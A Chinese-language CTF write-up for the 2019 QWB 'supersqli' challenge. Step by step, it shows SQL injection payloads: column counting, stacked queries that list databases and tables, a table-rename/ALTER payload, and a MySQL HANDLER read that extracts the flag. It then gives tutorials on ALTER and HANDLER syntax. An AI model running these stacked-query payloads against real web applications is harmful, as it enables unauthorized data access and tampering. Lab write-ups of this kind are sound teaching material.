首页 > 数据库 >[强网杯2019]supersqli--Web安全进阶系列

[强网杯2019]supersqli--Web安全进阶系列

时间:2024-09-18 15:36:39浏览次数:1  
标签:Web 进阶 index -- handler mysql table name

[强网杯2019]supersqli--Web安全进阶系列

image-20240618100820840

使用引号判断是否存在sql注入

image-20240618100900718

报错,可能存在sql注入,注入payload,判断列数,结果为不存在4列

?inject=1' order by 4 -- q

image-20240618102748897

换2试试,正常显示,说明存在2列输出结果

?inject=1' order by 2 -- q

image-20240618103051527

尝试使用联合注入失败,并且限制了select|update|delete|drop|insert|where|\./i

?inject=1' union select 1,2 -- q

image-20240618103126193

注入payload,存在堆叠注入

?inject=1' ; show databases;  -- w

image-20240618103305228

查看当前数据库表

?inject=-1' ; show tables;  -- w

image-20240618103633311

查看words表中的列名,包含id和data

?inject=-1' ; show columns from words ;  -- w

image-20240618103607847

这里我们通过修改表名和列名的方式,把结果给爆出来,注入以下payload

?inject=-1' ; rename `words` to `words1` ; rename `1919810931114514` to `words` ; alter table `words` change `id` `flag` varcchar(100) ; -- w

image-20240618105900183

sql语句alter的使用:

当我们需要修改数据表名或者修改数据表字段时,就需要使用到 MySQL ALTER 命令。

MySQL 的 ALTER 命令用于修改数据库、表和索引等对象的结构

ALTER 命令允许你添加、修改或删除数据库对象,并且可以用于更改表的列定义、添加约束、创建和删除索引等操作。

ALTER 命令非常强大,可以在数据库结构发生变化时进行灵活的修改和调整。

-- 向表中添加列
alter table [table_name] 
add column [new_column] [datatype];

-- 修改数据类型
alter table [table_name]
modify column [column_name] [datatype]

-- 修改列明
alter table [table_name]
change column [old_column_name] [new_column_name] [datatype];

-- 删除列
alter table table_name
drop column [column_name];

--数据去重
create table [tmp] select * from [table_name_] group by ([col1],[col2]); -- 先创建一个临时表
drop table [table_name_];-- 删除具有重复数据的表
alter table tmp rename table_name_;-- 将临时表修改名称为你的需要去重的表名即可
or
rename tmp table_name_;-- 俩种修改表名的方式皆可

再使用handler查看第一行数据,爆出flag

?inject=1' ; handler `1919810931114514` open ; handler `1919810931114514` read first -- w

image-20240618110118031

知识补充:

mysql支持多种查询数据的方式,除了常见的select语句外,还有handler命令,handler允许用户一行一行地读取表数据,但功能并不能像select那样全面。他是mysql专有地特性,并未被纳入sql标准。handler为存储引擎提供了直接地接口,主要用于MySAM和InnoDB表,提供了一种访问表数据的直接方式。以下是它地常见用法:

-- 首先创建一张表
create table handler_table(id int, name varchar(10));
-- 按下列顺序依次插入数据
insert into handler_table values(3, '张三');
insert into handler_table values(4, '李四');
insert into handler_table values(5, '王五');
insert into handler_table values(1, '刘一');
insert into handler_table values(2, '陈二');

image-20240618155553146

不通过索引查看表

1、打开句柄
mysql> handler handler_table open;
Query OK, 0 rows affected (0.00 sec)
2、查看数据
mysql> handler handler_table read first;
+------+--------+
| id   | name   |
+------+--------+
|    3 | 张三   |
+------+--------+
1 row in set (0.00 sec)

mysql> handler handler_table read next;
+------+--------+
| id   | name   |
+------+--------+
|    4 | 李四   |
+------+--------+
1 row in set (0.00 sec)
3、关闭句柄
handler handler_table close;

通过索引查看表

1、创建索引
mysql> create index handler_index on handler_table(id);
Query OK, 5 rows affected (0.02 sec)
2、打开句柄
mysql> handler handler_table open;
Query OK, 0 rows affected (0.00 sec)

mysql> handler handler_table open as p;
Query OK, 0 rows affected (0.00 sec)
3、查看数据
# 获取第一行数据
handler p read handler_index first;
# 获取下一行数据
handler p read handler_index next;
# 获取上一行数据
handler p read handler_index prev;
# 获取最后一行数据
handler p read handler_index last;
#举例
mysql> handler p read handler_index first;
+------+--------+
| id   | name   |
+------+--------+
|    1 | 刘一   |
+------+--------+
1 row in set (0.00 sec)
mysql> handler p read handler_index last;
+------+--------+
| id   | name   |
+------+--------+
|    5 | 王五   |
+------+--------+
1 row in set (0.00 sec)
4、关闭句柄
handler p close;

Tips:如果遇到如下错误,表示没有删除原来创建地索引句柄

mysql> create index handler_index on handler_table(id);
ERROR 1061 (42000): Duplicate key name 'handler_index'

使用如下指令,即可删除索引句柄

alter table hand_table drop index hander_index;

然后再次创建索引句柄

mysql> alter table handler_table drop index handler_index; -- 删除之前创建地索引句柄
Query OK, 5 rows affected (0.02 sec)
Records: 5  Duplicates: 0  Warnings: 0
mysql> create index handler_index on handler_table(id);-- 创建句柄
Query OK, 5 rows affected (0.02 sec)

emmm差不多了,谢谢观看,博主21岁,交朋友dd。。。。。

原文https://mp.weixin.qq.com/s/5FkhxrBs4cM2yv7_SL9Z3Q

标签:Web,进阶,index,--,handler,mysql,table,name
From: https://www.cnblogs.com/xiaoyus/p/18418636

相关文章

  • cisp-pte考试靶场及通关攻略(附靶场源码)
    cisp-pte考试靶场及通关攻略(附靶场源码)靶机安装关注后回复【pte靶场】即可,有网安交流群,要进群的小伙伴后台加群即可vm启动后改静态ipservicenetworkrestart或者重启reboot第一题【sql注入】注意这个文件路径,待会要获取答案orderby判断字段数量union判断,被过滤发......
  • ZBLOG PHP提示"Call to undefined function mysql_connect()"错误
    当遇到Z-BlogPHP在PHP7.2上出现 mysql_connect() 未定义的错误时,这是因为PHP7.2默认不再支持MySQL扩展(mysql 扩展)。你需要进行一些调整来使Z-BlogPHP兼容PHP7.2。以下是两种解决方案:解决方案一:降级PHP版本如果你暂时不想修改代码,可以选择降级PHP版本到一......
  • CISP-PTE综合靶场解析,msf综合利用MS14-058【附靶场环境】
    CISP-PTE综合靶场解析,msf综合利用MS14-058【附靶场环境】前言需要靶场的朋友们,可以在后台私信【pte靶场】,有网安学习群,可以关注后在菜单栏选择学习群加入即可信息收集题目要求:给定一个ip,找到3个KEY。nmap扫描,为了节省时间,这里改了端口,就不使用-p-全端口扫描了,源靶机在20000+......
  • 思通数科开源产品:免费的AI视频监控卫士安装指南
    准备运行环境:确保您的服务器或计算机安装了Ubuntu18.04LTS操作系统。按照产品要求,安装以下软件:Python3.9JavaJDK1.8MySQL5.5Redis2.7Elasticsearch8.14FFmpeg4.1.1RabbitMQ3.13.2Minio(2024-07-26T20版本)接着,下载开源软件,并运行Python端、Java端和前端。下......
  • 网易云JS逆向分析
    网易云JS逆向分析前言本文章中所有内容仅供学习交流,严禁用于商业用途和非法用途,否则由此产生的一切后果均与文章作者无关,若有侵权,请联系我立即删除!阅读本篇文章,需要一定的爬虫基础,和js逆向思维,否则无法继续首先找到一个歌单找到这个api接口api传参为这两个找到启动器......
  • 详细的解释Rust语言中所增加的新概念
    Rust是一门注重性能和安全性的系统级编程语言,其设计目标之一是避免传统系统编程语言(如C和C++)中常见的内存管理错误。为实现这些目标,Rust引入了一些新的编程概念,这些概念是Rust的核心,帮助开发者编写出高效、安全且易于维护的代码。以下是Rust中一些重要的新概念及其详细解......
  • 喜欢长文吗?1w字带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透
    前言在信息安全领域,SQL注入攻击是一种极为常见且危害严重的安全漏洞。攻击者利用Web应用程序对SQL查询的不当处理,通过注入恶意SQL代码,从而绕过安全措施,非法访问或篡改数据库中的数据。随着网络安全威胁的日益严峻,了解和掌握SQL注入攻击的检测与防御技术变得尤为重要。sqlmap作为......
  • 从零开始学SQL注入(sql十大注入类型):技术解析与实战演练
    环境工具:burpsuite靶场:sqli服务器:centos7数据库:mysql5.7什么是Sql注入?SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。由于以下的环境都是MySQL数据库,所以先了解点......
  • zblogPHP后台在线升级后提示Call to undefined function Redirect_cmd_end()错误
    当Z-BlogPHP在线升级后提示“CalltoundefinedfunctionRedirect_cmd_end()”错误时,这通常是因为升级过程中某些文件没有正确更新或存在兼容性问题。以下是一些可能的解决步骤:1.检查函数定义问题描述:Redirect_cmd_end() 函数可能未被定义。解决方法:打开Z-BlogPHP......
  • MongoDB增加身份验证
    1.数据库添加用户和密码mongo>useadmin>db.createUser({user:"nucRoot",pwd:"f71F!6",roles:["root"]}) 2.修改启动文件,通过auth方式启动,完整如下(INI格式)dbpath=/usr/local/mongodb/data/dblogpath=/usr/local/mongodb/data/logs/mongodb.loglogap......